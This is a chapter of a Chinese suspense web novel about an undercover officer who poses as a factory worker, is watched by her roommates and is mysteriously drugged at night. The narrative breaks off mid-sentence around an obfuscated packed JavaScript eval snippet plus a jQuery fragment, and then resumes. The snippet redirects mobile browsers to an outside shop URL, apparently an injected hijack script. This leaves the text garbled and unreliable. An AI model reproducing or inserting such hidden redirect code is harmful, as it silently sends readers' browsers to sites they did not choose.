荣林箱号厂,纸箱生产车间。
白炽灯管持续发出低频率的嗡鸣,光线算不上明亮,甚至有些惨淡,将墙壁上那幅略显陈旧的“ISO9001质量管理体系认证”标语照得泛黄。
空气中四处飘浮着细微的纸尘,混合着油墨和某种难以形容的、类似陈年谷物仓库的气味。
半自动化的生产线在车间尽头规律地轰鸣,传送带匀速移动,穿着统一灰蓝色工服的工人们像被设定好程序的零件,重复着各自的工序。地上贴着整齐却已磨损的黄色标线,所谓的“5S管理”看板立在入口,红笔勾画的检查记录却停留在半个月前。
蔡星澜——此刻的身份是离家出走、投亲不遇的乡下姑娘“阿兰”,坐在靠墙的一排工位中。
她的任务是粘贴产品标签,并将部分信息录入面前那台笨重的老式CRT显示器电脑。屏幕泛着蓝光,手边的有线手持扫描枪接触不良,对准纸箱上的一维条形码时,时常需要用力按压、反复尝试,才能听到那声拖长音的“嘀——”,数据艰难地汇入那个界面粗糙、明显独立运行的本地数据库系统。
她曾尝试利用短暂的操作空隙,敲击键盘进入更深层目录,但权限被牢牢锁死。
耳边是机器噪音,夹杂着附近女工们压低的闲聊。
“张婶,你儿媳妇是不是生了?听说是个大胖小子!”
“哎哟,是啊是啊!我跟你说啊,那小模样……”被唤作张婶的中年女工嗓门立刻亮了几分,家长里短夹杂着夸张的笑声,在这沉闷的空间里显得格外明朗。
午餐铃尖锐地响起,中止了一成不变的节奏。同组的李玉芬,一个三十出头、眼神总带着点过分热络的女人,用胳膊肘碰了碰旁边一直沉默干活儿的王萍,眼神朝蔡星澜这边撇了撇,压低声音:“王姐,你看那个新来的‘阿兰’,整天闷闷的,也不见跟谁搭话,怪可怜见的。要不……吃饭叫上她一起?”
王萍,约莫四十岁,眼神沉静,甚至有些过于平静。她听到这段话,停下手中清理工具的动作,抬眼看向不远处正在慢吞吞收拾东西、显得格格不入的蔡星澜,几不可察地点了下头。
她走过去,脚步很轻,目光在蔡星澜工服铭牌上停了一瞬:“阿兰?一起去食堂?”
蔡星澜似乎被这突如其来的招呼吓了一跳,抬起头时眼神闪烁,迅速避开对视,手指无意识地捏着衣角,声音细若蚊蚋:“好、好的……谢谢王姐。”那份怯生生的感激和受宠若惊,拿捏得恰到好处。
食堂是宽敞却空荡的大厅,弥漫着大锅菜特有的、混合的油荤气。饭菜是一荤一素——土豆烧肉(肉少土豆多)和炒白菜,分量倒是给得足,米饭任添。
“厂里伙食就这标准,能吃饱,快吃吧阿兰,别愣着。”王萍端着饭盒,在蔡星澜对面坐下,语气平淡,听不出什么情绪,只是目光偶尔会落在她脸上。
“就是就是,这红烧肉别看肥,可下饭了!阿兰你太瘦了,多吃点!”李玉芬挨着王萍坐下,热情地往蔡星澜碗里夹了一筷子肉。
蔡星澜像是才从某种恍惚中回神,连忙拿起筷子,小声嗫嚅:“哦哦……好。刚、刚才有点走神……在家的时候,一年到头也吃不着几回肉腥呢。”她说着,低下头去,几乎是狼吞虎咽地吃起来,腮帮子塞得鼓鼓的,将一个珍惜食物、没见过世面的乡下姑娘形象刻画得入木三分。饭菜的味道很一般,油重盐也重,但她吃得毫无异样。
“说起来,阿兰你是新来的,有件事可得记住了。”李玉芬扒了口饭,左右看看,身体前倾,声音压得更低,带着神秘和恐吓,“咱们厂西边那片老厂房,还有后面那栋三层红砖旧宿舍楼,晚上可千万千万别往那边去!”
蔡星澜闻言停下筷子,抬起眼,脸上露出恰到好处的疑惑和一丝畏惧:“为、为什么呀?玉芬姐?那边……有危险吗?”
“何止是危险!”李玉芬夸张地缩了缩脖子,“那边……不干净!闹鬼!好些老工人都说,半夜常听见那边有呜呜呜的声音,还有窸窸窣窣像好多人走路又没脚步声的动静……反正邪门得很!领导也说不让去,怕出事。”她说着,还特意看了王萍一眼,“是吧,王姐?你也听说过吧?”
王萍有条不紊地嚼着饭,闻言只是抬了抬眼皮,嗯了一声,不置可否,但那平静无波的眼神深处,似乎掠过一丝更深的晦暗。
夜晚,六人间的集体宿舍。
灯已熄灭,只有窗外远处厂房零星的安全灯透进模糊的光晕。房间里充斥着不同频率的呼吸声,有人已发出轻微鼾声。
蔡星澜躺在硬板床上,闭着眼睛,听觉和感知却放大到极致。粗糙的涤纶被套摩擦皮肤,空气中弥漫着廉价洗衣粉和人体混合的微酸气味。她需要行动,必须设法探查西区,并尝试联系失联的陆队,以及可能被分配到其他区域的从文杰和喻宇。
确认室内呼吸声大多已沉缓规律,她悄无声息地坐起,赤足踩在冰冷的水泥地上,向门口挪去。手指刚触到冰凉的门把手——
“阿兰?”黑暗中,旁边床铺传来王萍清晰的声音,没有丝毫睡意朦胧,平静得让她心头骤紧,“这么晚了,要去哪儿?”
蔡星澜反应极快,立刻弯腰捂住腹部,声音虚弱中带着痛苦:“王姐……我、我肚子疼得厉害,可能晚上吃得不合适,想去趟厕所……”
“厕所在走廊尽头,右拐走到头就是。夜里黑,刚来容易走错,我陪你去吧。”王萍的语气听起来像是关心,但动作更快,床帘已被拉开,人影坐了起来。
“不、不用了王姐,太麻烦你了……”蔡星澜推辞,但王萍已经下了床,站到了她身边。阴影中,王萍的身形显得有些高大。
“没事,正好我也醒了。”
蔡星澜无法再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005835|193854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拒绝,只能在这份“体贴的陪伴”下,走向公共卫生间。走廊长得仿佛没有尽头,声控灯时亮时灭,将两人的影子拉长又缩短,脚步声在空荡的走廊里回响,格外清晰。她能感觉到,王萍的视线始终若有若无地落在自己背上。
进入隔间,反锁。狭小空间里气味难闻。蔡星澜背靠门板,屏息凝神听了两秒外面动静,确认王萍没有贴近,才迅速从特制内衣的暗袋中取出超薄加密手机。
屏幕调到最低亮度,幽蓝的光映亮她紧绷的脸。指尖飞快敲击,发送预设的加密定位信号和简短安全码。几秒的煎熬等待后,屏幕微弱一闪,一条极度简短的回复切入:“安。勿动。西。”信号旋即再次中断,仿佛被无形的屏障吞噬。是喻宇!他们没事,但“勿动”和“西”的指示……蔡星澜心念电转,将手机藏回,按下冲水键。
走出隔间,王萍果然还等在洗手池边,正对着模糊的镜子整理头发,镜中的眼神与她瞬间对上。
“不好意思啊王姐,可能真是吃坏了,久了点……害你等。”蔡星澜揉着肚子,脸上带着歉意的疲色。
王萍转过身,目光在她脸上停了停,伸手拍了拍她的肩膀,力道不轻不重:“没事。就怕你们新人,夜里乱跑。厂区大,规矩也多。”
回到宿舍,蔡星澜发现自己的下铺已经铺好了被褥,宿舍灯也重新亮了起来。一个看起来十八九岁、扎着清爽马尾的女孩正哼着不成调的流行歌收拾衣服。
见她回来,女孩立刻扬起一个灿烂的笑脸,眼睛在昏暗中也显得亮晶晶的:“你们好呀!我是新来的,叫林晓雅,叫我阿雅就行!刚分配到这个宿舍,以后请大家多关照啦!”她的声音清脆悦耳。
“嗯,阿雅。”王萍应了一声,重新躺回床上,拉上了床帘。
“嗨!欢迎欢迎!这下热闹了!”李玉芬从对面床上探出头,笑着打招呼。
“你、你好……阿雅。”蔡星澜维持着内向腼腆的人设,小声回应,对林晓雅伸出的手,她犹豫了一下才轻轻握了握。女孩的手心温暖干燥,握力适中。
简单洗漱后,众人重新睡下。
蔡星澜却毫无睡意。她和从文杰、喻宇失联前的最后定位都显示在厂区内,但岗位被调开,通讯被严格限制,这绝不正常。
陆建国队长经验何等丰富,却在这里杳无音信。西区旧厂房和宿舍的“闹鬼”传闻,是工人们以讹传讹的恐惧,还是有人刻意散布以阻止靠近?王萍超乎寻常的关注,李玉芬看似热情实则打探的言行,还有这个活力过盛的新室友林晓雅……
思绪纷杂间,一股异常沉重、如同实质般的困意,毫无征兆地当头罩下。黑暗中,她感觉似乎一道视线一直投向自己这边……是王萍?还是那个仿佛瞬间入睡的林晓雅?或者是别的什么……
下一刻,她的意识彻底沉入无边的黑暗,失去了所有感知。